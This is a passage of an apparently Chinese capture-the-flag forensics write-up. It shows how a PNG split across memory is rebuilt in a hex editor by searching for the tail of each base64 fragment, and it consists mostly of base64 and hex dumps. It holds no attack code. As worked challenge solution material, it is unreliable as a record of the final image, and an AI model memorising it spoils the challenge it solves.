iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAIAAADTED8xAAACvUlEQVR4nO3TMQEAIAzAMMC/5yFjRxMFfXpn5kDV2w6ATQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQNoHq+gE/QPNMGIAAAAASUVORK5CYII= base64解码后可以得到下面这张空白图片,数据很短,也没什么用 然后我们在010中继续往下看,可以把与上面这个图片有重合部分的base64的数据都删掉方便查看 然后在下图这个位置发现了另一张图片,我尝试给它提取出来 69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 59 41 41 41 42 63 63 71 68 6D 41 41 41 42 47 32 6C 55 57 48 52 59 54 55 77 36 59 32 39 74 4C 6D 46 6B 62 32 4A 6C 4C 6E 68 74 63 41 41 41 41 41 41 41 50 44 39 34 63 47 46 6A 61 32 56 30 49 47 4A 6C 5A 32 6C 75 50 53 4C 76 75 37 38 69 49 47 6C 6B 50 53 4A 58 4E 55 30 77 54 58 42 44 5A 57 68 70 53 48 70 79 5A 56 4E 36 54 6C 52 6A 65 6D 74 6A 4F 57 51 69 50 7A 34 4B 50 48 67 36 65 47 31 77 62 57 56 30 59 53 42 34 62 57 78 75 63 7A 70 34 50 53 4A 68 5A 47 39 69 5A 54 70 75 63 7A 70 74 5A 58 52 68 4C 79 49 67 65 44 70 34 62 58 42 30 61 7A 30 69 57 45 31 51 49 45 4E 76 63 6D 55 67 4E 69 34 77 4C 6A 41 69 50 67 6F 67 50 48 4A 6B 5A 6A 70 53 52 45 59 67 65 47 31 73 62 6E 4D 36 63 6D 52 6D 50 53 4A 6F 64 48 52 77 4F 69 38 76 64 33 64 33 4C 6E 63 7A 4C 6D 39 79 5A 79 38 78 4F 54 6B 35 4C 7A 41 79 4C 7A 49 79 4C 58 4A 6B 5A 69 31 7A 65 57 35 30 59 58 67 74 62 6E 4D 6A 49 6A 34 4B 49 43 41 38 63 6D 52 6D 4F 6B 52 6C 63 32 4E 79 61 58 42 30 61 57 39 75 49 48 4A 6B 5A 6A 70 68 59 6D 39 31 64 44 30 69 49 69 38 2B 43 69 41 38 4C 33 4A 6B 5A 6A 70 53 52 45 59 2B 43 6A 77 76 65 44 70 34 62 58 42 74 5A 58 52 68 50 67 6F 38 50 33 68 77 59 57 4E 72 5A 58 51 67 5A 57 35 6B 50 53 4A 79 49 6A 38 2B 6C 31 76 70 43 67 41 41 49 37 4A 4A 52 45 46 55 65 4A 7A 74 58 55 32 53 56 54 65 79 31 72 56 66 6D 48 67 52 4A 70 36 66 43 63 38 38 4B 67 2F 65 46 75 77 6C 65 41 31 73 6A 2B 6F 6C 77 42 4A 67 45 31 55 39 67 42 46 51 51 4C 67 59 41 42 33 30 65 51 4F 6A 61 6C 32 56 66 76 49 2F 55 2B 66 65 4C 36 4B 6A 38 61 31 7A 70 46 52 4B 79 70 50 4B 50 78 33 2B 76 66 31 37 4F 32 77 70 62 65 6D 51 55 6B 6F 70 48 56 4A 4B 32 37 61 6C 51 7A 6F 63 30 69 46 74 61 64 73 4F 32 2B 47 77 48 64 4B 57 30 6E 5A 49 32 37 64 66 44 79 6B 64 30 69 46 74 57 30 6F 70 62 53 6B 64 44 69 6C 74 4B 61 58 44 64 76 66 37 34 5A 43 6D 2F 33 2F 47 47 57 66 34 34 62 74 44 4F 71 52 30 4F 4B 54 44 33 2F 2B 58 44 69 6D 6C 66 2F 7A 7A 33 65 48 77 54 53 42 38 6B 77 50 35 71 62 38 33 37 64 2F 2F 2B 76 76 76 68 35 51 4F 33 35 34 2B 66 42 4D 4B 2B 66 65 55 55 76 72 48 50 32 2B 4F 2F 72 76 2B 2F 31 50 45 35 66 57 4E 4E 77 6C 6F 63 47 6A 32 47 75 2B 7A 56 78 39 63 2B 75 58 67 78 5A 75 50 64 2F 2B 32 34 4E 74 33 72 52 38 66 58 7A 77 69 4E 58 5A 39 2B 35 6E 64 6C 75 53 67 53 32 5A 53 2B 74 52 61 51 46 7A 2B 65 6D 79 6F 47 63 30 6A 6D 68 35 66 50 41 4C 50 68 53 54 2B 2F 50 55 6E 38 7A 34 68 79 4C 78 71 38 65 7A 33 58 33 35 4D 4B 63 48 57 58 75 75 5A 47 5A 2F 76 39 62 6C 4E 38 50 7A 31 37 65 77 52 4D 4A 35 63 76 52 56 72 61 32 55 61 4B 4B 44 51 76 63 70 59 5A 33 53 57 66 38 65 4F 4B 54 2B 2F 43 69 38 34 6F 50 42 6D 4B 67 41 77 65 50 72 79 76 57 52 7A 5A 68 67 78 54 6C 49 41 72 6F 49 65 50 35 35 63 76 54 58 64 53 43 4D 36 52 72 2F 56 66 2B 38 4A 67 57 68 7A 57 39 4A 48 32 55 75 55 75 53 45 4C 41 4D 6E 4E 50 70 76 51 31 58 44 31 31 79 66 55 38 39 67 46 33 66 75 4E 30 35 38 6E 50 4F 6D 4A 7A 67 75 4D 64 6B 54 42 59 64 76 2B 74 75 4E 37 34 66 4C 36 68 6E 77 6D 50 75 4F 4D 45 73 39 65 66 62 67 iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAABG2lUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIi8+CiA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgo8P3hwYWNrZXQgZW5kPSJyIj8+l1vpCgAAI7JJREFUeJztXU2SVTey1rVfmHgRJp6fCc88Kg/eFuwleA1sj+olwBJgE1U9gBFQQLgYAB30eQOjal2VfvI/U+feL6Kj8a1zpFRKypPKPx3+vf17O2wpbemQUkopHVJK27alQzoc0iFtadsO2+GwHdKW0nZI27dfDykd0iFtW0opbSkdDiltKaXDdvf74ZCm/3/GGWf44btDOqR0OKTD3/+XDimlf/zz3eHwTSB8kwP5qb837d//+vvvh5QO354+fBMK+feUUvrHP2+O/rv+/1PE5fWNNwlocGj2Gu+zVx9c+uXgxZuPd/+24Nt3rR8fXzwiNXZ9+5ndluSgS2ZS+tRaQFz+emyoGc0jmh5fPALPhST+/PUn8z4hyLxq8ez3X35MKcHWXuuZGZ/v9blN8Pz17ewRMJ5cvRVra2UaKKDQvcpYZ3SWf8eOKT+/Ci84oPBmKgAwePryvWRzZhgxTlIAroIeP55cvTXdSCM6Rr/Vf+8JgWhzW9JH2UuUuSELAMnNPpvQ1XD11yfU89gF3fuN058nPOmJzguMdkTBYdv+tuN74fL6hnwmPuOMEs9efbg base64解码后很明显可以发现图片尾部是不完整的,但是从刚才第一张图片的尝试中 我们发现图片在内存中是分段存储的,因此我们可以尝试在010中搜索上面base64的尾部数据 tuN74fL6hnwmPuOMEs9efbg 尝试后发现是可以找到后面的数据的,因此我们以此类推,每次拼接后都搜索尾部的数据 最后将所有的Hex数据都提取出来并解码可以得到 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